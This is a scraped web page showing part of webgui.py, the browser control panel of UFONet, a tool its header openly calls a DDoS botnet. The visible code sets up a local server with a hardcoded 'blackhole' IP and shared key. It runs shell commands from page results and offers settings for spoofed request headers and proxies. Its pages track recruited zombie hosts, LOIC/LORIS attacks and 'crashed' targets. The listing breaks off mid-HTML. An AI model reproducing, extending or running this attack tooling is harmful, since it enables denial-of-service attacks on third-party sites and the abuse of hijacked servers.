webgui.py 209 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, threading, re, base64, os, time, random
  10. import webbrowser, subprocess, urllib, urllib2, json, sys
  11. from time import gmtime, strftime, strptime
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. from urlparse import urlparse
  15. from base64 import b64decode
  16. from decimal import Decimal
  17. from options import UFONetOptions
  18. from main import UFONet
  19. from abductor import Abductor
  20. host = "0.0.0.0"
  21. port = 9999
  22. default_blackhole = '176.28.23.46' # default blackhole
  23. blackhole_sep = "|" # blackhole stream separator
  24. board_msg_sep = "#!#" # board stream separator
  25. grid_msg_sep = "#?#" # grid stream seperator
  26. wargames_msg_sep = "#-#" # wargames stream seperator
  27. crypto_key = "U-NATi0n!" # default encryption/decryption (+moderator board) key
  28. class ClientThread(threading.Thread):
  29. def __init__(self, ip, port, socket):
  30. threading.Thread.__init__(self)
  31. self.ip = ip
  32. self.port = port
  33. self.socket = socket
  34. self.pages = Pages()
  35. def run(self):
  36. req = self.socket.recv(2048)
  37. res = self.pages.get(req)
  38. if res is None:
  39. self.socket.close()
  40. return
  41. out = "HTTP/1.0 %s\r\n" % res["code"]
  42. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  43. out += "%s" % res["html"]
  44. self.socket.send(out)
  45. self.socket.close()
  46. if "run" in res and len(res["run"]):
  47. subprocess.Popen(res["run"], shell=True)
  48. class Pages():
  49. def file_len(self, fn):
  50. with open(fn) as f:
  51. for i, l in enumerate(f):
  52. pass
  53. return i + 1
  54. def html_army_map(self,target=None):
  55. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  56. if target is not None:
  57. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  58. return self.pages["/header"] + """
  59. <link rel="stylesheet" href="/js/style.css" />
  60. <link rel="stylesheet" href="/js/ajaxmap.css" />
  61. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  62. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  63. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  64. <script src="/js/leaflet/leaflet.js"></script>
  65. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  66. <script src="/js/jquery-1.10.2.min.js"></script>
  67. <script src="/js/rlayer-src.js"></script>
  68. <script src="/js/raphael.js"></script>
  69. <script src="/js/ufo.js"></script>
  70. <script src="/js/ajax.js"></script>
  71. </head><body bgcolor="black" text="black">
  72. <div id="wrapper">
  73. <div id="map" style="width: 100%; height: 100%"></div>
  74. </div>
  75. <script type="text/javascript">
  76. window.onload = function(){
  77. """+target_js+"""
  78. }
  79. </script>
  80. <center>
  81. """ + self.pages["/footer"]
  82. def html_request_submit(self):
  83. return self.pages["/header"]+"""<script>
  84. window.setTimeout(window.close,1234)
  85. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  86. <center>settings updated"""+self.pages["/footer"]
  87. def html_requests(self):
  88. # read requests configuration file (json)
  89. try:
  90. with open(self.mothership_webcfg_file) as data_file:
  91. data = json.load(data_file)
  92. except:
  93. if os.path.exists(self.mothership_webcfg_file) == True:
  94. print '\n[Error] - Cannot open: webcfg.json. Change permissions to use Web/GUI correctly. Exiting to shell mode...\n'
  95. sys.exit(2)
  96. else: # generate default requests configuration file
  97. print '\n[Info] - Cannot found: webcfg.json... Generating!\n'
  98. with open(self.mothership_webcfg_file, "w") as f:
  99. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5"}, f, indent=4)
  100. # set values of requests configuration from json file to html form
  101. with open(self.mothership_webcfg_file) as data_file:
  102. data = json.load(data_file)
  103. self.agents = [] # generating available user-agents
  104. f = open(self.agents_file)
  105. agents = f.readlines()
  106. f.close()
  107. for agent in agents:
  108. self.agents.append(agent)
  109. self.user_agent = random.choice(self.agents).strip()
  110. self.rproxy = data["rproxy"]
  111. if self.rproxy == "NONE":
  112. self.rproxy = ""
  113. self.ruseragent = data["ruseragent"]
  114. if self.ruseragent == "RANDOM":
  115. self.ruseragent = self.user_agent # random user-agent
  116. self.rreferer = data["rreferer"]
  117. if self.rreferer == "RANDOM":
  118. self.rreferer = self.referer # random referer
  119. self.rhost = data["rhost"]
  120. if self.rhost == "NONE":
  121. self.rhost = ""
  122. self.rxforw = data["rxforw"]
  123. if self.rxforw == "on":
  124. self.rxforw_check = 'checked'
  125. else:
  126. self.rxforw_check = ''
  127. self.rxclient = data["rxclient"]
  128. if self.rxclient == "on":
  129. self.rxclient_check = 'checked'
  130. else:
  131. self.rxclient_check = ''
  132. self.rtimeout = data["rtimeout"]
  133. self.rretries = data["rretries"]
  134. self.rdelay = data["rdelay"]
  135. self.threads = data["threads"]
  136. return self.pages["/header"] + """
  137. <script language="javascript">
  138. function Requests() {
  139. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  140. }
  141. </script>
  142. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  143. <u>Configure requests:</u>
  144. <table cellpadding="2" cellspacing="2">
  145. <form method='GET'>
  146. <tr>
  147. <td> Use proxy server:</td>
  148. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  149. </tr>
  150. <tr>
  151. <td> Use another HTTP User-Agent header:</td>
  152. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  153. </tr>
  154. <tr>
  155. <td> Use another HTTP Referer header:</td>
  156. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  157. </tr>
  158. <tr>
  159. <td> Use another HTTP Host header:</td>
  160. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  161. </tr>
  162. <tr>
  163. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  164. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  165. </tr>
  166. <tr>
  167. <td> Set your HTTP X-Client-IP with random IP values:</td>
  168. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  169. </tr>
  170. <tr>
  171. <td> Select your timeout:</td>
  172. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  173. </tr>
  174. <tr>
  175. <td> Retries when the connection timeouts:</td>
  176. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  177. </tr>
  178. <tr>
  179. <td> Delay in seconds between each HTTP request:</td>
  180. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  181. </tr>
  182. <tr>
  183. <td> Number of threads:</td>
  184. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  185. </tr>
  186. </table>
  187. <hr>
  188. <input type="hidden" name="update" value="1">
  189. <input type="submit" value="Set!" onclick="Requests()"></pre>
  190. </form>
  191. """ + self.pages["/footer"]
  192. def html_board_profile_submit(self):
  193. return self.pages["/header"]+"""<script>
  194. window.setTimeout(window.close,1234)
  195. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  196. <center>board profile updated. re-enter again..."""+self.pages["/footer"]
  197. def html_grid_profile_submit(self):
  198. return self.pages["/header"]+"""<script>
  199. window.setTimeout(window.close,1234)
  200. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  201. <center>grid profile updated. re-enter again..."""+self.pages["/footer"]
  202. def profile_crew(self, icon):
  203. files = os.listdir("core/images/crew/")
  204. if icon == "NONE":
  205. icon = "link1"
  206. html_stream = ""
  207. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  208. for f in files:
  209. id = str(f.replace(".png", ""))
  210. value = str(f.replace(".png", ""))
  211. if icon == value:
  212. checked = " CHECKED"
  213. else:
  214. checked = ""
  215. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='images/crew/"+f+"'></td>"
  216. html_stream += "</tr></table>"
  217. return html_stream
  218. def html_board_profile(self):
  219. try:
  220. with open(self.mothership_boardcfg_file) as data_file:
  221. data = json.load(data_file)
  222. except:
  223. if os.path.exists(self.mothership_boardcfg_file) == True:
  224. print '[Error] - Cannot open: boardcfg.json. Change permissions to use Web/GUI correctly. Exiting to shell mode...\n'
  225. sys.exit(2)
  226. else:
  227. print '[Info] - Cannot found: boardcfg.json... Generating!\n'
  228. with open(self.mothership_boardcfg_file, "w") as f:
  229. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  230. f.close()
  231. with open(self.mothership_boardcfg_file) as data_file:
  232. data = json.load(data_file)
  233. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  234. self.profile_icon = data["profile_icon"]
  235. self.profile_nick = data["profile_nick"]
  236. self.profile_nick.encode('utf-8')
  237. return self.pages["/header"] + """
  238. <script language="javascript">
  239. function BoardProfile() {
  240. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  241. }
  242. </script>
  243. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  244. <u>Configure profile:</u>
  245. <table cellpadding="2" cellspacing="2">
  246. <form method='GET'>
  247. <tr>
  248. <td> <u>OPERATOR/LINK:</u></td>
  249. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  250. </tr>
  251. <tr>
  252. <td> <u>NICKNAME:</u></td>
  253. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick.encode('utf-8')+"""'></td>
  254. </tr>
  255. </table>
  256. <hr>
  257. <input type="hidden" name="update" value="1">
  258. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  259. </form>
  260. """ + self.pages["/footer"]
  261. def html_grid_profile(self):
  262. try:
  263. with open(self.mothership_gridcfg_file) as data_file:
  264. data = json.load(data_file)
  265. except:
  266. if os.path.exists(self.mothership_gridcfg_file) == True:
  267. print '[Error] - Cannot open: gridcfg.json. Change permissions to use Web/GUI correctly. Exiting to shell mode...\n'
  268. sys.exit(2)
  269. else:
  270. print '[Info] - Cannot found: gridcfg.json... Generating!\n'
  271. with open(self.mothership_gridcfg_file, "w") as f:
  272. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  273. f.close()
  274. with open(self.mothership_gridcfg_file) as data_file:
  275. data = json.load(data_file)
  276. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  277. self.grid_contact = data["grid_contact"]
  278. self.grid_contact.encode('utf-8')
  279. self.grid_nick = data["grid_nick"]
  280. self.grid_nick.encode('utf-8')
  281. return self.pages["/header"] + """
  282. <script language="javascript">
  283. function GridProfile() {
  284. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  285. }
  286. </script>
  287. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  288. <u>Configure grid profile:</u><br>
  289. <table cellpadding="2" cellspacing="2">
  290. <form method='GET'>
  291. <tr>
  292. <td> <u>NICKNAME:</u></td>
  293. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick.encode('utf-8')+"""'></td>
  294. </tr>
  295. <tr>
  296. <td> <u>EMAIL/URL (CONTACT):</u></td>
  297. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact.encode('utf-8')+"""'></td>
  298. </tr>
  299. </table>
  300. <hr>
  301. <input type="hidden" name="update" value="1">
  302. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  303. </form>
  304. """ + self.pages["/footer"]
  305. def html_board_remove(self):
  306. try:
  307. with open(self.mothership_boardcfg_file, "w") as f:
  308. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  309. except:
  310. return
  311. return self.pages["/header"]+"""<script>
  312. window.setTimeout(window.close,1234)
  313. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  314. <center>board profile updated!. re-enter again..."""+self.pages["/footer"]
  315. def html_grid_remove(self):
  316. try:
  317. with open(self.mothership_gridcfg_file, "w") as f:
  318. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  319. except:
  320. return
  321. return self.pages["/header"]+"""<script>
  322. window.setTimeout(window.close,1234)
  323. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  324. <center>grid profile updated!. re-enter again..."""+self.pages["/footer"]
  325. def html_stats(self):
  326. return self.pages["/header"] + """<script>loadXMLDoc()</script><script language="javascript">
  327. function Grid() {
  328. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  329. }
  330. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  331. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  332. <br><center>
  333. <table cellpadding="5" cellspacing="5"><tr>
  334. <td><img src="/images/mothership.png"></td>
  335. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button></td>
  336. </tr</table>
  337. <br>
  338. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  339. <table border="1" cellpadding="5" cellspacing="10"><tr>
  340. <td><b><u>General:</u></b></td></tr>
  341. <tr>
  342. <td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  343. </table>
  344. </td><td>
  345. <table border="1" cellpadding="5" cellspacing="10"><tr>
  346. <td><b><u>Botnet:</u></b></td></tr>
  347. <tr>
  348. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  349. <tr>
  350. <td>Scanner (new bots via dorking):</td>
  351. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  352. <tr>
  353. <td>Transferred (new bots via blackholes):</td>
  354. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  355. <tr>
  356. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  357. </table>
  358. </td><td>
  359. <table border="1" cellpadding="5" cellspacing="10"><tr>
  360. <td><b><u>Missions:</u></b></td></tr>
  361. <tr>
  362. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  363. <tr>
  364. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  365. <tr>
  366. <td>LOIC (used):</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td></tr>
  367. <tr>
  368. <td>LORIS (used):</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  369. <tr>
  370. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  371. <tr>
  372. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  373. </table>
  374. </td></tr></table>
  375. <br><hr>
  376. <div id="cmdOut"></div>
  377. """ + self.pages["/footer"]
  378. def hmac_sha1(self, key, msg):
  379. if len(key) > 20:
  380. key = sha1(key).digest()
  381. key += chr(0) * (20 - len(key))
  382. o_key_pad = key.translate(self.trans_5C)
  383. i_key_pad = key.translate(self.trans_36)
  384. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  385. def derive_keys(self, key):
  386. h = sha256()
  387. h.update(key)
  388. h.update('cipher')
  389. cipher_key = h.digest()
  390. h = sha256()
  391. h.update(key)
  392. h.update('mac')
  393. mac_key = h.digest()
  394. return (cipher_key, mac_key)
  395. def decrypt(self, key, text):
  396. KEY_SIZE = 32
  397. BLOCK_SIZE = 16
  398. MAC_SIZE = 20
  399. mode = AES.MODE_CFB
  400. try:
  401. iv_ciphertext_mac = b64decode(text)
  402. except TypeError:
  403. return None
  404. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  405. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  406. mac = iv_ciphertext_mac[-MAC_SIZE:]
  407. (cipher_key, mac_key) = self.derive_keys(key)
  408. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  409. if mac != expected_mac:
  410. return None
  411. aes = AES.new(cipher_key, mode, iv)
  412. self.decryptedtext = aes.decrypt(ciphertext)
  413. def encrypt(self, key, text):
  414. from server.crypter import Cipher
  415. from base64 import b64encode, b64decode
  416. key = b64encode(key)
  417. c = Cipher(key, text)
  418. msg = c.encrypt()
  419. c.set_text(msg)
  420. self.encryptedtext = str(msg)
  421. def html_news(self):
  422. return self.pages["/header"] + """<script language="javascript">
  423. function Decrypt(){
  424. news_key=document.getElementById("news_key").value
  425. if(news_key == "") {
  426. window.alert("You need to enter a valid key (provided by someone)");
  427. return
  428. }else{
  429. params="news_key="+escape(news_key)
  430. runCommandX("cmd_decrypt",params)
  431. document.getElementById("nb1").style.display = "none";
  432. }
  433. }
  434. </script>
  435. <script language="javascript">
  436. function RefreshNews(){
  437. news_source=document.getElementById("news_source").value
  438. if(news_source == "") {
  439. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  440. return
  441. }else{
  442. params="news_source="+escape(news_source)
  443. runCommandX("cmd_refresh_news",params)
  444. document.getElementById("nb1").style.display = "none";
  445. }
  446. }
  447. </script>
  448. <script>loadXMLDoc()</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  449. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  450. <br>
  451. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  452. <td>Blackhole/IP:</td>
  453. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  454. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  455. <hr>
  456. <table cellpadding="5" cellspacing="5"><tr>
  457. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src="/images/aliens/alien1.png"></a></td><td>
  458. <table cellpading="5" cellspacing="10"><tr><td>
  459. <form method='GET'>
  460. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  461. </td></tr><tr><td>
  462. <a onclick='javascript:Decrypt();' href='javascript:show('nb1');'>Try decryption!</a>
  463. </form>
  464. </td></tr></table></td></tr></table>
  465. <hr><br>
  466. </center>
  467. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  468. <div id="cmdOut"></div>
  469. <div id="nb1" style="display: block;">"""+self.news_text+"""</div>
  470. """ + self.pages["/footer"]
  471. def html_missions(self):
  472. return self.pages["/header"] + """<script language="javascript">
  473. function Decrypt(){
  474. missions_key=document.getElementById("missions_key").value
  475. if(missions_key == "") {
  476. window.alert("You need to enter a valid key (provided by someone)");
  477. return
  478. }else{
  479. params="missions_key="+escape(missions_key)
  480. runCommandX("cmd_decrypt",params)
  481. document.getElementById("nb1").style.display = "none";
  482. }
  483. }
  484. </script>
  485. <script language="javascript">
  486. function RefreshMissions(){
  487. missions_source=document.getElementById("missions_source").value
  488. if(missions_source == "") {
  489. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  490. return
  491. }else{
  492. params="missions_source="+escape(missions_source)
  493. runCommandX("cmd_refresh_missions",params)
  494. document.getElementById("nb1").style.display = "none";
  495. }
  496. }
  497. </script>
  498. <script>loadXMLDoc()</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  499. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  500. <br>
  501. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  502. <td>Blackhole/IP:</td>
  503. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  504. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  505. <hr>
  506. <table cellpadding="5" cellspacing="5"><tr>
  507. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src="/images/aliens/alien2.png"></a></td><td>
  508. <table cellpading="5" cellspacing="10"><tr><td>
  509. <form method='GET'>
  510. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  511. </td></tr><tr><td>
  512. <a onclick='javascript:Decrypt();' href='javascript:show('nb1');'>Try decryption!</a>
  513. </form>
